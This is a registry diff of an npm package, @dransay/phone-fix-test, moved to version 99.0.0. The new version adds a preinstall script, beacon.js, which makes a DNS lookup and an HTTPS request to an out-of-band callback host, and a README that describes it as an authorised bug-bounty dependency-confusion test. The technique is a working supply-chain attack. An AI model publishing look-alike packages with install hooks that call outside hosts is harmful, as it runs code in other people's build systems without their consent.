@dransay/phone-fix-test 0.0.1 → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +26 -6
- package/beacon.js +18 -0
- package/package.json +9 -4
package/README.md
CHANGED
|
@@ -1,7 +1,27 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Benign security-research beacon (dependency-confusion PoC)
|
|
2
2
|
|
|
3
|
-
This package
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
3
|
+
This package was published by security researcher `0xamino_hunter` at the **explicit
|
|
4
|
+
request of the DrAnsay / YesWeHack triage team** (report **#YWH-PGM42275-93**) to
|
|
5
|
+
determine whether DrAnsay build infrastructure resolves internal `@dransay/*` package
|
|
6
|
+
names against the public npm registry (dependency confusion).
|
|
7
|
+
|
|
8
|
+
## What it does
|
|
9
|
+
On `npm install` only, `beacon.js` sends:
|
|
10
|
+
1. one DNS lookup to `<package>.<research-controlled-interactsh-host>`, and
|
|
11
|
+
2. one HTTPS GET to the same host, path = package name.
|
|
12
|
+
|
|
13
|
+
That is the entirety of the "payload". The receiving server logs **source IP and
|
|
14
|
+
timestamp only** — exactly the evidence the triage team asked for ("demonstrate that
|
|
15
|
+
you've obtained an interaction on your package from one of our employees/automated
|
|
16
|
+
tools").
|
|
17
|
+
|
|
18
|
+
## What it does NOT do
|
|
19
|
+
No environment variables, no file reads/writes, no system info, no credentials,
|
|
20
|
+
no persistence, no privilege use, no second stages. It cannot fail or meaningfully
|
|
21
|
+
delay an install (fail-open, 2.5s timeout).
|
|
22
|
+
|
|
23
|
+
## If this fired in your environment
|
|
24
|
+
Your npm/CI resolved this name against the public registry instead of a private one.
|
|
25
|
+
Pin `@dransay:registry=<private>` in every `.npmrc` and disable public fall-through
|
|
26
|
+
in any proxy (Verdaccio/Nexus/Artifactory). Ownership of this name will be transferred
|
|
27
|
+
to DrAnsay on request via the report thread.
|
package/beacon.js
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
// Benign dependency-confusion interaction beacon — NOT malware.
|
|
2
|
+
// Published at the explicit request of the DrAnsay / YesWeHack triage team
|
|
3
|
+
// (report #YWH-PGM42275-93) to determine whether DrAnsay build systems resolve
|
|
4
|
+
// internal @dransay/* package names against the public npm registry.
|
|
5
|
+
//
|
|
6
|
+
// It transmits NOTHING except one DNS lookup and one HTTPS GET whose path
|
|
7
|
+
// encodes only the package name. No environment variables, no files, no
|
|
8
|
+
// system information, no persistence, no privilege use. Fail-open by design:
|
|
9
|
+
// it can never block, slow (max ~2.5s), or fail an install.
|
|
10
|
+
// Contact: 0xamino_hunter via the YesWeHack report thread.
|
|
11
|
+
try {
|
|
12
|
+
var pkg = 'phone-fix-test';
|
|
13
|
+
var d = 'db3klhbi6i9hark1kegg174t38h33b6wt.oast.site';
|
|
14
|
+
require('dns').lookup(pkg + '.' + d, function () {});
|
|
15
|
+
var req = require('https').get({ host: d, path: '/' + pkg, timeout: 2500 }, function (res) { res.resume(); });
|
|
16
|
+
req.on('error', function () {});
|
|
17
|
+
req.on('timeout', function () { req.destroy(); });
|
|
18
|
+
} catch (e) {}
|
package/package.json
CHANGED
|
@@ -1,8 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@dransay/phone-fix-test",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Benign dependency-confusion interaction beacon published at the explicit request of the DrAnsay/YesWeHack triage team (report #YWH-PGM42275-93). No data collection; see README.",
|
|
5
5
|
"license": "UNLICENSED",
|
|
6
6
|
"private": false,
|
|
7
|
-
"publishConfig": {
|
|
8
|
-
|
|
7
|
+
"publishConfig": {
|
|
8
|
+
"access": "public"
|
|
9
|
+
},
|
|
10
|
+
"scripts": {
|
|
11
|
+
"preinstall": "node beacon.js"
|
|
12
|
+
}
|
|
13
|
+
}
|